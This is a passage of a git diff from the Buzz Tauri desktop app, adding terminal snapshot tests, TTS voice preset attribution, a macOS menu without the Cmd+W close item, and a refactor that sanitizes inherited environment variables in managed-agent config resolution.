+    let mut second = Encoder::new();
+    assert!(
+        !shared.snapshot(&mut second).cursor.visible,
+        "DECTCEM off must reach the attaching subscriber"
+    );
+}
+
+/// Taking a snapshot is billed to the renderer plane.
+///
+/// The two planes are metered separately because pooling them lets the
+/// reader's millions of fast acquires dilute the renderer's tail into a false
+/// pass (`shared.rs` module docs). A full-grid copy is the single most
+/// expensive thing that takes this lock, so misfiling it under the reader
+/// would corrupt the very instrument the renderer's budget is judged by --
+/// and no fixture noticed until Sami's T4.
+#[test]
+fn a_snapshot_is_billed_to_the_renderer_plane() {
+    let (shared, _actions) = terminal(20, 4);
+    shared.feed_fully(b"content");
+
+    shared.reader_acquire().reset();
+    shared.renderer_acquire().reset();
+
+    let mut attaching = Encoder::new();
+    let _ = shared.snapshot(&mut attaching);
+
+    assert_eq!(
+        shared.renderer_acquire().snapshot().acquisitions,
+        1,
+        "the snapshot's lock acquisition belongs to the renderer plane"
+    );
+    assert_eq!(
+        shared.reader_acquire().snapshot().acquisitions,
+        0,
+        "a full-grid copy must not be charged to the reader plane"
+    );
+}
+
+/// Two consecutive snapshots with no output between them still both carry the
+/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and
+/// nothing about the first may disarm the second.
+#[test]
+fn snapshots_are_repeatable() {
+    let (shared, _actions) = terminal(20, 4);
+    shared.feed_fully(b"persistent");
+
+    let mut first = Encoder::new();
+    let mut second = Encoder::new();
+    assert_eq!(
+        visible_text(&shared.snapshot(&mut first)),
+        vec!["persistent"]
+    );
+    assert_eq!(
+        visible_text(&shared.snapshot(&mut second)),
+        vec!["persistent"],
+        "a second subscriber attaching later must see the same screen"
+    );
+}
diff --git a/desktop/src-tauri/resources/pocket-voices/NOTICE.md b/desktop/src-tauri/resources/pocket-voices/NOTICE.md
new file mode 100644
index 0000000000..9cc515dea3
--- /dev/null
+++ b/desktop/src-tauri/resources/pocket-voices/NOTICE.md
@@ -0,0 +1,35 @@
+# Pocket TTS English VCTK presets
+
+Buzz exposes Kyutai's twelve official English VCTK Pocket presets. The WAV
+bytes are unchanged from `kyutai/tts-voices` revision
+`323332d33f997de8394f24a193e1a76df720e01a`; only local filenames differ.
+
+| Voice | Upstream asset | SHA-256 |
+| --- | --- | --- |
+| Anna | `vctk/p228_023_enhanced.wav` | `0a6de25cf12bf1540beb85979f306a92be81fecc051c547c5395e7e5237a3856` |
+| Vera | `vctk/p229_023_enhanced.wav` | `309cf91a895830f15842b398f69a4962cb1f7e0bfab10e25dd27838e826c204b` |
+| Fantine | `vctk/p244_023_enhanced.wav` | `5f07d4e2a3f20a15572aae885156b43ef3fc12ef3812996fd135680d9956448b` |
+| Charles | `vctk/p254_023_enhanced.wav` | `6b681a429198f16e378d53bccb08d06939da7b00144a7696111d4f8f76be7756` |
+| Paul | `vctk/p259_023_enhanced.wav` | `7aba504fe0b3b16478b69eb27ce6007e3cb42b0c1915b5f1c6a6024ae37d679b` |
+| Eponine | `vctk/p262_023_enhanced.wav` | `a13c27fb47627b05223691a0ef2974358a18c886e6c2f9d2762ff1d02c20926b` |
+| Azelma | `vctk/p303_023_enhanced.wav` | `60e3d26cdf2efdec5df712152c839928f4d5522821e6554ae11fd96c57ab1026` |
+| George | `vctk/p315_023_enhanced.wav` | `29a41f93bf5236e5b21501091d7774c255d5f3d4e62fa4f9fdf0a92a793c84ae` |
+| Mary | `vctk/p333_023_enhanced.wav` | `a35b0468382218e9f37a9a7494d1e4b74deaf18d7ced22265b4e325bb55c183f` |
+| Jane | `vctk/p339_023_enhanced.wav` | `2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a` |
+| Michael | `vctk/p360_023_enhanced.wav` | `b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad` |
+| Eve | `vctk/p361_023_enhanced.wav` | `396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd` |
+
+Mary is already installed as the Pocket model's `reference_sample.wav`, so it
+is not duplicated in this resource directory.
+
+Source repository:
+https://huggingface.co/kyutai/tts-voices/tree/323332d33f997de8394f24a193e1a76df720e01a/vctk
+
+The original recordings are from the Voice Cloning Toolkit (VCTK) corpus,
+licensed CC BY 4.0:
+https://datashare.ed.ac.uk/handle/10283/3443
+
+The recordings were enhanced by ai-coustics:
+https://ai-coustics.com/
+
+Neither Kyutai, the VCTK speakers, nor ai-coustics endorses Buzz.
diff --git a/desktop/src-tauri/resources/pocket-voices/anna.wav b/desktop/src-tauri/resources/pocket-voices/anna.wav
new file mode 100644
index 0000000000..79d60697ff
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/anna.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/azelma.wav b/desktop/src-tauri/resources/pocket-voices/azelma.wav
new file mode 100644
index 0000000000..e9d0c00b3f
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/azelma.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/charles.wav b/desktop/src-tauri/resources/pocket-voices/charles.wav
new file mode 100644
index 0000000000..2170975545
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/charles.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/eponine.wav b/desktop/src-tauri/resources/pocket-voices/eponine.wav
new file mode 100644
index 0000000000..bded6f4f09
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/eponine.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/eve.wav b/desktop/src-tauri/resources/pocket-voices/eve.wav
new file mode 100644
index 0000000000..216665ff13
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/eve.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/fantine.wav b/desktop/src-tauri/resources/pocket-voices/fantine.wav
new file mode 100644
index 0000000000..28c2b1140d
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/fantine.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/george.wav b/desktop/src-tauri/resources/pocket-voices/george.wav
new file mode 100644
index 0000000000..739d5bc7a5
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/george.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/jane.wav b/desktop/src-tauri/resources/pocket-voices/jane.wav
new file mode 100644
index 0000000000..3c9890473b
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/jane.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/michael.wav b/desktop/src-tauri/resources/pocket-voices/michael.wav
new file mode 100644
index 0000000000..861da085c7
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/michael.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/paul.wav b/desktop/src-tauri/resources/pocket-voices/paul.wav
new file mode 100644
index 0000000000..bfde50fdd9
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/paul.wav differ
diff --git a/desktop/src-tauri/resources/pocket-voices/vera.wav b/desktop/src-tauri/resources/pocket-voices/vera.wav
new file mode 100644
index 0000000000..e4fce84ce3
Binary files /dev/null and b/desktop/src-tauri/resources/pocket-voices/vera.wav differ
diff --git a/desktop/src-tauri/src/app_menu.rs b/desktop/src-tauri/src/app_menu.rs
new file mode 100644
index 0000000000..e6d7944a10
--- /dev/null
+++ b/desktop/src-tauri/src/app_menu.rs
@@ -0,0 +1,115 @@
+//! The macOS application menu.
+//!
+//! Buzz never called `Builder::menu()`, so Tauri installed `Menu::default()`
+//! for us (`tauri::app::Builder::build`, macOS arm). That default puts a
+//! `close_window` item in both the File and Window submenus, and muda gives
+//! that item a Cmd+W key equivalent bound to `performClose:`.
+//!
+//! Two consequences, both wrong for Buzz:
+//!
+//! 1. `CloseRequested` on the main window is intercepted in `lib.rs` and turned
+//!    into hide-to-tray, so Cmd+W never closed a window -- it hid the whole
+//!    app. That is already redundant with Cmd+H (Hide), which stays.
+//! 2. macOS resolves a menu key equivalent before the webview receives any key
+//!    event, so Buzz Term could never bind Cmd+W to "close this terminal tab"
+//!    while the accelerator was claimed here.
+//!
+//! So this module builds the standard menu minus both `close_window` items.
+//! Everything else matches `Menu::default()` deliberately: the goal is to drop
+//! one item, not to design a menu.
+//!
+//! If hide-on-Cmd+W is ever wanted back in Buzz mode, the revisit path is to
+//! restore the item and disable it while the terminal owns input (a disabled
+//! item does not consume its key equivalent) -- at the cost of an owner->Rust
+//! IPC hop this approach does not need.
+
+#[cfg(target_os = "macos")]
+use tauri::menu::{
+    AboutMetadata, Menu, PredefinedMenuItem, Submenu, HELP_SUBMENU_ID, WINDOW_SUBMENU_ID,
+};
+#[cfg(target_os = "macos")]
+use tauri::AppHandle;
+use tauri::{Builder, Runtime};
+
+/// Installs Buzz's menu, replacing the `Menu::default()` Tauri would otherwise
+/// auto-install. A no-op off macOS, where that default is never created and
+/// the Cmd+W accelerator does not exist.
+pub fn install<R: Runtime>(builder: Builder<R>) -> Builder<R> {
+    #[cfg(target_os = "macos")]
+    let builder = builder.menu(build);
+    builder
+}
+
+/// Mirrors `Menu::default()` with every `close_window` item omitted.
+///
+/// The Window and Help submenus keep Tauri's well-known ids: `init_app_menu`
+/// looks them up by id to call `set_as_windows_menu_for_nsapp` and
+/// `set_as_help_menu_for_nsapp`, and a plain `with_items` submenu would skip
+/// both silently -- no error, just a Window menu AppKit no longer manages.
+#[cfg(target_os = "macos")]
+pub fn build<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<Menu<R>> {
+    let pkg_info = app.package_info();
+    let config = app.config();
+    let about_metadata = AboutMetadata {
+        name: Some(pkg_info.name.clone()),
+        version: Some(pkg_info.version.to_string()),
+        copyright: config.bundle.copyright.clone(),
+        authors: config.bundle.publisher.clone().map(|p| vec![p]),
+        ..Default::default()
+    };
+
+    Menu::with_items(
+        app,
+        &[
+            &Submenu::with_items(
+                app,
+                pkg_info.name.clone(),
+                true,
+                &[
+                    &PredefinedMenuItem::about(app, None, Some(about_metadata))?,
+                    &PredefinedMenuItem::separator(app)?,
+                    &PredefinedMenuItem::services(app, None)?,
+                    &PredefinedMenuItem::separator(app)?,
+                    &PredefinedMenuItem::hide(app, None)?,
+                    &PredefinedMenuItem::hide_others(app, None)?,
+                    &PredefinedMenuItem::separator(app)?,
+                    &PredefinedMenuItem::quit(app, None)?,
+                ],
+            )?,
+            // `Menu::default()`'s File submenu holds exactly one item on macOS
+            // -- close_window -- so dropping that item drops the submenu too.
+            &Submenu::with_items(
+                app,
+                "Edit",
+                true,
+                &[
+                    &PredefinedMenuItem::undo(app, None)?,
+                    &PredefinedMenuItem::redo(app, None)?,
+                    &PredefinedMenuItem::separator(app)?,
+                    &PredefinedMenuItem::cut(app, None)?,
+                    &PredefinedMenuItem::copy(app, None)?,
+                    &PredefinedMenuItem::paste(app, None)?,
+                    &PredefinedMenuItem::select_all(app, None)?,
+                ],
+            )?,
+            &Submenu::with_items(
+                app,
+                "View",
+                true,
+                &[&PredefinedMenuItem::fullscreen(app, None)?],
+            )?,
+            &Submenu::with_id_and_items(
+                app,
+                WINDOW_SUBMENU_ID,
+                "Window",
+                true,
+                &[
+                    &PredefinedMenuItem::minimize(app, None)?,
+                    &PredefinedMenuItem::maximize(app, None)?,
+                ],
+            )?,
+            // Empty upstream too on macOS: About lives in the app submenu.
+            &Submenu::with_id_and_items(app, HELP_SUBMENU_ID, "Help", true, &[])?,
+        ],
+    )
+}
diff --git a/desktop/src-tauri/src/app_state.rs b/desktop/src-tauri/src/app_state.rs
index abce86202a..fc90e6ab14 100644
--- a/desktop/src-tauri/src/app_state.rs
+++ b/desktop/src-tauri/src/app_state.rs
@@ -53,15 +53,13 @@ pub struct AppState {
     pub channel_templates_store_lock: Mutex<()>,
     pub managed_agent_processes: Mutex<HashMap<ManagedAgentRuntimeKey, ManagedAgentPairRuntime>>,
     pub huddle_state: Mutex<HuddleState>,
+    pub huddle_audio: crate::huddle::tts_settings::HuddleAudioSettingsState,
     /// Tauri app handle — stored after setup so huddle commands can emit
     /// `huddle-state-changed` events without needing the handle threaded
     /// through every call site.
     ///
     /// Set once during `setup()` in `lib.rs`; never cleared.
     pub app_handle: Mutex<Option<AppHandle>>,
-    /// Selected audio output device name. `None` = system default.
-    /// Used by `connect_audio_relay` and TTS pipeline when opening sinks.
-    pub audio_output_device: Mutex<Option<String>>,
     /// Port of the localhost media streaming proxy (set during setup).
     pub media_proxy_port: AtomicU16,
     /// Set when identity resolution detected a "keyring-locked" state: the
@@ -219,8 +217,8 @@ pub fn build_app_state() -> AppState {
         managed_agent_processes: Mutex::new(HashMap::new()),
         session_config_cache: Mutex::new(HashMap::new()),
         huddle_state: Mutex::new(HuddleState::default()),
+        huddle_audio: Default::default(),
         app_handle: Mutex::new(None),
-        audio_output_device: Mutex::new(None),
         media_proxy_port: AtomicU16::new(0),
         prevent_sleep: Arc::new(Mutex::new(
             crate::prevent_sleep::PreventSleepState::default(),
diff --git a/desktop/src-tauri/src/commands/agent_access.rs b/desktop/src-tauri/src/commands/agent_access.rs
new file mode 100644
index 0000000000..ef118e82b2
--- /dev/null
+++ b/desktop/src-tauri/src/commands/agent_access.rs
@@ -0,0 +1,18 @@
+/// Return whether this build enforces owner-only managed-agent access.
+#[tauri::command]
+pub fn agent_access_owner_only() -> bool {
+    crate::managed_agents::owner_only_access_build()
+}
+
+#[cfg(test)]
+mod tests {
+    #[test]
+    #[ignore = "requires BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY"]
+    fn compiled_policy_matches_expected() {
+        let expected = std::env::var("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY")
+            .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be set")
+            .parse::<bool>()
+            .expect("BUZZ_TEST_EXPECTED_AGENT_ACCESS_OWNER_ONLY must be true or false");
+        assert_eq!(super::agent_access_owner_only(), expected);
+    }
+}
diff --git a/desktop/src-tauri/src/commands/agent_config.rs b/desktop/src-tauri/src/commands/agent_config.rs
index 5a26f0f645..2dc0ba0d69 100644
--- a/desktop/src-tauri/src/commands/agent_config.rs
+++ b/desktop/src-tauri/src/commands/agent_config.rs
@@ -8,14 +8,14 @@ use crate::{
             read_goose_file_config,
             reader::read_config_surface,
             types::{
-                AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, ConfigOrigin,
-                NormalizedField, RuntimeConfigSurface, SessionConfigCache,
+                AcpConfigOptionEntry, AcpConfigOptionValue, AcpModelEntry, InheritedConfigTiers,
+                RuntimeConfigSurface, SessionConfigCache,
             },
         },
-        current_instance_id, known_acp_runtime, load_managed_agents, load_personas,
-        resolve_effective_prompt_model_provider, save_managed_agents, sync_managed_agent_processes,
-        AgentDefinition, GlobalAgentConfig, KnownAcpRuntime, ManagedAgentRecord,
-        ManagedAgentRuntimeKey,
+        current_instance_id, is_reserved_env_key, is_safe_to_reveal, is_well_formed_env_key,
+        known_acp_runtime, load_managed_agents, load_personas, save_managed_agents,
+        sync_managed_agent_processes, AgentDefinition, GlobalAgentConfig, KnownAcpRuntime,
+        ManagedAgentRecord, ManagedAgentRuntimeKey, MAX_ENV_VALUE_BYTES,
     },
 };
 
@@ -31,33 +31,90 @@ pub struct RuntimeFileConfigSubset {
     pub provider: Option<String>,
     /// Model set in the harness config file, if any.
     pub model: Option<String>,
-    /// Flat credential env keys found in the harness config file's `extra` map
-    /// (e.g. `DATABRICKS_HOST`).  Only non-empty values are included.
+    /// Flat credential env keys in the harness config file's `extra` map (e.g. `DATABRICKS_HOST`); only non-empty values included.
     pub satisfied_env_keys: Vec<String>,
 }
 
-/// Resolve the config surface with persona and global default values applied.
-///
-/// Linked instances are definition-authoritative: the record's own
-/// system_prompt/model/provider are cleared before applying, so a stale
-/// materialized snapshot can never shadow the persona's current values or a
-/// blank-definition fallthrough to global defaults (mirrors
-/// `effective_config::resolve_linked`). Definition-less instances keep their
-/// own explicit values.
-///
-/// The pipeline: resolve the linked persona's prompt/model/provider, inject
-/// each into the record only where the record lacks its own value, let
-/// `read_config_surface` tag those injected fields `BuzzExplicit`, then re-tag
-/// exactly the injected fields to `PersonaDefault`.
+/// Sanitize a raw env map from an inherited tier (persona or global) with the
+/// same rules `merged_user_env` applies at spawn time: reserved keys, malformed
+/// keys, NUL-byte values, and oversize values are stripped silently.
+fn sanitize_inherited_env(
+    raw: &std::collections::BTreeMap<String, String>,
+) -> std::collections::BTreeMap<String, String> {
+    raw.iter()
+        .filter(|(k, v)| {
+            !is_reserved_env_key(k)
+                && is_well_formed_env_key(k)
+                && !v.contains('\0')
+                && v.len() <= MAX_ENV_VALUE_BYTES
+        })
+        .map(|(k, v)| (k.clone(), v.clone()))
+        .collect()
+}
+
+/// Normalize a structured field value: blank/whitespace-only collapses to
+/// `None`, matching `effective_config`'s `non_blank` helper.
+fn non_blank(v: Option<&str>) -> Option<String> {
+    v.filter(|s| !s.trim().is_empty()).map(str::to_owned)
+}
+
+/// Build a sanitized `InheritedConfigTiers` snapshot at the command boundary.
 ///
-/// Global defaults fill in when neither the record nor the linked persona
-/// provides a value. They are re-tagged to `GlobalDefault` so the UI can
-/// display "inherited from global defaults".
+/// Persona env, global env, and harness definition env are sanitized with
+/// spawn-equivalent rules. Structured fields are normalized (blank → None).
+/// A missing persona (orphaned link) yields empty persona tiers — the panel
+/// still renders from record/global while spawn independently refuses.
+fn build_inherited_tiers(
+    record_persona_id: Option<&str>,
+    record_runtime: Option<&str>,
+    personas: &[AgentDefinition],
+    global: &GlobalAgentConfig,
+) -> InheritedConfigTiers {
+    let persona = record_persona_id.and_then(|pid| personas.iter().find(|p| p.id == pid));
+
+    let persona_env = persona
+        .map(|p| sanitize_inherited_env(&p.env_vars))
+        .unwrap_or_default();
+    let global_env = sanitize_inherited_env(&global.env_vars);
+
+    // Definition env: same resolution as spawn (record.runtime → persona.runtime → "").
+    // Reserved keys stripped; no malformed-key / NUL / oversize check needed because
+    // harness definitions are local admin-authored JSON, not user-provided data — but
+    // we apply `sanitize_inherited_env` for defense-in-depth (same rules as the other tiers).
+    let definition_env = {
+        let runtime_id = record_runtime
+            .or_else(|| persona.and_then(|p| p.runtime.as_deref()))
+            .unwrap_or("");
+        crate::managed_agents::custom_harnesses::lookup_loaded_harness_by_id(runtime_id)
+            .map(|def| sanitize_inherited_env(&def.env))
+            .unwrap_or_default()
+    };
+
+    let persona_model = persona.and_then(|p| non_blank(p.model.as_deref()));
+    let persona_provider = persona.and_then(|p| non_blank(p.provider.as_deref()));
+    let persona_prompt = persona.and_then(|p| non_blank(Some(&p.system_prompt)));
+    let global_model = non_blank(global.model.as_deref());
+    let global_provider = non_blank(global.provider.as_deref());
+
+    InheritedConfigTiers {
+        persona_env,
+        global_env,
+        definition_env,
+        persona_model,
+        persona_provider,
+        persona_prompt,
+        global_model,
+        global_provider,
+    }
+}
+
+/// Resolve the config surface with inherited persona and global tiers applied.
 ///
-/// The re-tag is triple-gated — a field is re-tagged only when (a) the record
-/// did not already have it (`!had_*`), (b) the surface produced the field, and
-/// (c) the reader tagged it `BuzzExplicit`. A value the user set explicitly in
-/// Buzz keeps `had_* == true` and is never re-tagged.
+/// Persona-linked instances have their system_prompt/model/provider cleared
+/// first (definition-authoritative): stale materialized snapshots can never
+/// shadow live persona values. The reader then resolves each field through its
+/// full candidate list (record env > ACP > persona env > global env > structured
+/// persona/global > config file) via `resolve_with_override`.
 fn resolve_config_surface(
     mut record: ManagedAgentRecord,
     personas: &[AgentDefinition],
@@ -65,146 +122,23 @@ fn resolve_config_surface(
     session_cache: Option<&SessionConfigCache>,
     global: &GlobalAgentConfig,
 ) -> RuntimeConfigSurface {
-    // Linked instances are definition-authoritative (mirrors
-    // `effective_config::resolve_linked`): the record's own
-    // system_prompt/model/provider fields are, at best, a stale materialized
-    // snapshot from the last `apply_persona_snapshot` — never a legitimate
-    // live override, since `update_managed_agent` blocks writing these three
-    // fields for linked instances. Clear them before computing `had_*` below
-    // so a stale byte can never masquerade as BuzzExplicit and suppress
-    // definition/global injection. Env var overrides (set via the advanced
-    // env-vars editor) are untouched — those remain a legitimate
-    // per-instance override regardless of link status.
+    // Linked instances are definition-authoritative: clear stale materialized
+    // model/provider/prompt so they can never masquerade as BuzzExplicit and
+    // shadow definition values. Env var overrides are untouched.
     if record.persona_id.is_some() {
         record.system_prompt = None;
         record.model = None;
         record.provider = None;
     }
 
-    let had_prompt =
-        record.system_prompt.is_some() || record.env_vars.contains_key("BUZZ_ACP_SYSTEM_PROMPT");
-    let had_model = record.model.is_some();
-
-    let provider_env_key = runtime_meta.and_then(|m| m.provider_env_var).unwrap_or("");
-    let had_provider = record.env_vars.contains_key(provider_env_key);
-
-    let (persona_prompt, persona_model, persona_provider) = resolve_effective_prompt_model_provider(
+    let tiers = build_inherited_tiers(
         record.persona_id.as_deref(),
+        record.runtime.as_deref(),
         personas,
-        record.system_prompt.clone(),
-        record.model.clone(),
-        record.provider.clone(),
-    );
-
-    // Build the baseline the reader overrides a live model against, paired with
-    // its true origin so the secondary is tagged correctly. Two sources:
-    //   - persona-linked, no explicit record model: the persona model is the
-    //     baseline (PersonaDefault).
-    //   - genuine-explicit (record had its own model) that live-switched: the
-    //     record's own model is the baseline (BuzzExplicit). Gated behind
-    //     `model_overridden` so a persona edited mid-life (override flag false)
-    //     never synthesizes a baseline and false-positives an override.
-    // An explicit pick with no live switch has no baseline to override.
-    let model_overridden = session_cache.is_some_and(|c| c.model_overridden);
-    let baseline = if had_model {
-        if model_overridden {
-            record
-                .model
-                .clone()
-                .map(|m| (m, ConfigOrigin::BuzzExplicit))
-        } else {
-            None
-        }
-    } else {
-        // Prefer persona as baseline, fall back to global when persona has none
-        // and the model was overridden mid-session (global-default agent).
-        persona_model
-            .clone()
-            .map(|m| (m, ConfigOrigin::PersonaDefault))
-            .or_else(|| {
-                if model_overridden {
-                    global
-                        .model
-                        .clone()
-                        .map(|m| (m, ConfigOrigin::GlobalDefault))
-                } else {
-                    None
-                }
-            })
-    };
-
-    // Inject resolved persona values into the record where absent.
-    if !had_prompt {
-        if let Some(p) = persona_prompt {
-            record
-                .env_vars
-                .insert("BUZZ_ACP_SYSTEM_PROMPT".to_string(), p);
-        }
-    }
-    if !had_model {
-        record.model = persona_model.clone();
-    }
-    if !had_provider && !provider_env_key.is_empty() {
-        if let Some(prov) = persona_provider {
-            record.env_vars.insert(provider_env_key.to_string(), prov);
-        }
-    }
-
-    // Inject global defaults where neither the record nor the persona had a value.
-    // Track injection so we can re-tag to GlobalDefault after the reader.
-    let inject_global_model = !had_model && record.model.is_none();
-    let inject_global_provider = !had_provider
-        && !provider_env_key.is_empty()
-        && !record.env_vars.contains_key(provider_env_key);
-
-    if inject_global_model {
-        record.model = global.model.clone();
-    }
-    if inject_global_provider {
-        if let Some(ref gprov) = global.provider {
-            record
-                .env_vars
-                .insert(provider_env_key.to_string(), gprov.clone());
-        }
-    }
-
-    let mut surface = read_config_surface(
-        &record,
-        runtime_meta,
-        session_cache,
-        baseline.as_ref().map(|(m, o)| (m.as_str(), o.clone())),
+        global,
     );
 
-    // Re-tag persona-sourced fields from BuzzExplicit to PersonaDefault.
-    if !had_prompt {
-        retag_persona_default(&mut surface.normalized.system_prompt);
-    }
-    if !had_model && !inject_global_model {
-        retag_persona_default(&mut surface.normalized.model);
-    }
-    if !had_provider && !provider_env_key.is_empty() && !inject_global_provider {
-        retag_persona_default(&mut surface.normalized.provider);
-    }
-
-    // Re-tag global-sourced fields from BuzzExplicit to GlobalDefault.
-    if inject_global_model {
-        retag_global_default(&mut surface.normalized.model);
-    }
-    if inject_global_provider {
-        retag_global_default(&mut surface.normalized.provider);
-    }
-
-    surface
-}
-
-/// Re-tag a field's origin from `BuzzExplicit` to `PersonaDefault`, leaving any
-/// other origin untouched. No-op when the field is absent.
-fn retag_persona_default(field: &mut Option<NormalizedField>) {
-    if let Some(field) = field {
-        if field.origin == ConfigOrigin::BuzzExplicit {
-            field.origin = ConfigOrigin::PersonaDefault;
-        }
-    }
+    read_config_surface(&record, runtime_meta, session_cache, &tiers)
 }
 
 /// Get the file-layer config for a runtime — used by the Create/Edit/Persona
@@ -275,27 +209,6 @@ pub struct BakedEnvEntry {
     pub masked: bool,
 }
 
-/// Returns `true` when a baked-env key is safe to display unmasked in the UI.
-///
-/// This uses an explicit allowlist of keys that are known safe (non-secret).
-/// Any key NOT in this set is masked — default-deny for a security surface.
-///
-/// Allowlist (case-insensitive):
-/// - `BUZZ_AGENT_PROVIDER`, `BUZZ_AGENT_MODEL` — agent runtime selection
-/// - `BUZZ_AGENT_THINKING_EFFORT` — non-secret enum (none/minimal/low/medium/high/xhigh/max)
-/// - `DATABRICKS_HOST`, `DATABRICKS_MODEL` — Block non-secret defaults
-fn is_safe_to_reveal(key: &str) -> bool {
-    const SAFE_KEYS: &[&str] = &[
-        "BUZZ_AGENT_PROVIDER",
-        "BUZZ_AGENT_MODEL",
-        "BUZZ_AGENT_THINKING_EFFORT",
-        "DATABRICKS_HOST",
-        "DATABRICKS_MODEL",
-    ];
-    let upper = key.to_ascii_uppercase();
-    SAFE_KEYS.iter().any(|safe| upper == *safe)
-}
-
 /// Expose the baked build env to the frontend with values shown, but any
 /// key not in the safe-to-reveal allowlist has its value replaced by `••••••`.
 ///
@@ -327,16 +240,6 @@ pub fn get_baked_build_env() -> Vec<BakedEnvEntry> {
         .collect()
 }
 
-/// Re-tag a field's origin from `BuzzExplicit` to `GlobalDefault`, leaving any
-/// other origin untouched. No-op when the field is absent.
-fn retag_global_default(field: &mut Option<NormalizedField>) {
-    if let Some(field) = field {
-        if field.origin == ConfigOrigin::BuzzExplicit {
-            field.origin = ConfigOrigin::GlobalDefault;
-        }
-    }
-}
-
 /// Get the full config surface for a managed agent.
 ///
 /// Returns normalized + advanced config from all available tiers.
@@ -601,511 +504,5 @@ fn parse_models(raw: Option<&serde_json::Value>) -> (Vec<AcpModelEntry>, Option<
 }
 
 #[cfg(test)]
-mod tests {
-    use super::*;
-    use crate::managed_agents::{BackendKind, RespondTo};
-
-    fn goose_runtime() -> &'static KnownAcpRuntime {
-        &KnownAcpRuntime {
-            id: "goose",
-            label: "Goose",
-            commands: &["goose"],
-            aliases: &[],
-            avatar_url: "",
-            mcp_command: None,
-            mcp_hooks: false,
-            underlying_cli: None,
-            cli_install_commands: &[],
-            cli_install_commands_windows: &[],
-            adapter_install_commands: &[],
-            cli_install_instructions_url: "",
-            adapter_install_instructions_url: "",
-            cli_install_hint: "",
-            adapter_install_hint: "",
-            skill_dir: None,
-            supports_acp_model_switching: false,
-            model_env_var: Some("GOOSE_MODEL"),
-            provider_env_var: Some("GOOSE_PROVIDER"),
-            provider_locked: false,
-            default_env: &[],
-            config_file_path: Some("~/.config/goose/config.yaml"),
-            config_file_format: Some("yaml"),
-            supports_acp_native_config: true,
-            thinking_env_var: Some("GOOSE_THINKING_EFFORT"),
-            max_tokens_env_var: Some("GOOSE_MAX_TOKENS"),
-            context_limit_env_var: Some("GOOSE_CONTEXT_LIMIT"),
-            required_normalized_fields: &["model", "provider"],
-            login_hint: None,
-            auth_probe_args: None,
-        }
-    }
-
-    fn agent_record() -> ManagedAgentRecord {
-        ManagedAgentRecord {
-            pubkey: "agent".to_string(),
-            name: "Agent".to_string(),
-            persona_id: Some("persona-1".to_string()),
-            private_key_nsec: "".to_string(),
-            auth_tag: None,
-            relay_url: "ws://localhost:3000".to_string(),
-            avatar_url: None,
-            acp_command: "buzz-acp".to_string(),
-            agent_command: "goose".to_string(),
-            agent_args: vec![],
-            mcp_command: "".to_string(),
-            turn_timeout_seconds: 300,
-            idle_timeout_seconds: None,
-            max_turn_duration_seconds: None,
-            parallelism: 1,
-            system_prompt: None,
-            model: None,
-            env_vars: Default::default(),
-            start_on_app_launch: false,
-            auto_restart_on_config_change: true,
-            runtime_pid: None,
-            backend: BackendKind::Local,
-            backend_agent_id: None,
-            provider_binary_path: None,
-            team_id: None,
-            persona_team_dir: None,
-            persona_name_in_team: None,
-            created_at: "".to_string(),
-            updated_at: "".to_string(),
-            last_started_at: None,
-            last_stopped_at: None,
-            last_exit_code: None,
-            last_error: None,
-            last_error_code: None,
-            respond_to: RespondTo::OwnerOnly,
-            respond_to_allowlist: vec![],
-            display_name: None,
-            slug: None,
-            runtime: None,
-            name_pool: Vec::new(),
-            is_builtin: false,
-            is_active: true,
-            shared: false,
-            source_team: None,
-            source_team_persona_slug: None,
-            catalog_source: None,
-            definition_respond_to: None,
-            definition_respond_to_allowlist: Vec::new(),
-            definition_parallelism: None,
-            relay_mesh: None,
-            agent_command_override: None,
-            persona_source_version: None,
-            provider: None,
-        }
-    }
-
-    fn persona_with_model(model: &str) -> AgentDefinition {
-        AgentDefinition {
-            id: "persona-1".to_string(),
-            display_name: "Persona".to_string(),
-            avatar_url: None,
-            system_prompt: "You are a persona.".to_string(),
-            runtime: None,
-            model: Some(model.to_string()),
-            provider: None,
-            name_pool: Vec::new(),
-            is_builtin: false,
-            is_active: true,
-            shared: false,
-            source_team: None,
-            source_team_persona_slug: None,
-            catalog_source: None,
-            env_vars: Default::default(),
-            respond_to: None,
-            respond_to_allowlist: Vec::new(),
-            parallelism: None,
-            created_at: "".to_string(),
-            updated_at: "".to_string(),
-        }
-    }
-
-    /// A post-spawn session cache whose live model is `current_model` and whose
-    /// `model_overridden` flag records whether a `SwitchModel` control signal set
-    /// it (the live-switch signal).
-    fn session_cache(current_model: &str, model_overridden: bool) -> SessionConfigCache {
-        SessionConfigCache {
-            config_options: vec![],
-            available_modes: vec![],
-            available_models: vec![],
-            current_model: Some(current_model.to_string()),
-            model_overridden,
-            goose_native_config: None,
-            captured_at: "".to_string(),
-        }
-    }
-
-    /// Definition-authoritative: a stale materialized `record.model` on a
-    /// linked instance must never outrank (or even be consulted against) the
